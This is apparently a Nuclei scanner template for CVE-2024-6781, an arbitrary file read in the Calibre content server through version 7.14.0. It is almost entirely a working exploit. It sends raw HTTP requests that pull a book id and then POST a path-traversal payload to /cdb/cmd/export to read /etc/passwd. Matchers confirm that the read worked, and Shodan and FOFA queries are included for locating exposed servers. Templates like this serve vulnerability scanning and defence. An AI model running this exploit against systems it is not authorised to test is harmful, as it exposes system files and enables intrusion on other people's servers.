id: CVE-2024-6781 info: name: Calibre <= 7.14.0 Arbitrary File Read author: DhiyaneshDK severity: high description: | Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0. reference: - https://starlabs.sg/advisories/24/24-6781/ classification: cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:* metadata: verified: true vendor: calibre-ebook product: calibre shodan-query: html:"Calibre" fofa-query: "Server: calibre" max-requeset: 1 tags: cve,cve2024,calibre,lfi http: - raw: - | GET /interface-data/books-init HTTP/1.1 Host: {{Hostname}} extractors: - type: json name: book_ids internal: true json: - '.search_result.book_ids[0]' - raw: - | POST /cdb/cmd/export HTTP/1.1 Host: {{Hostname}} Content-Type: application/json ["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""] matchers-condition: and matchers: - type: word part: content_type words: - "application/json" - type: regex part: body regex: - 'root:.*:0:0:' - '"result":' condition: and - type: status status: - 200 # digest: 4a0a0047304502204793d82e0bfd5aa6f9107932793cf6304557de24a53a3f831359ba1c57f0782c022100ff99074f6ebfb49cd72263dc6c4381fd1911c509353d0efdb107d1a4232cc021:922c64590222798bb761d5b6d8e72950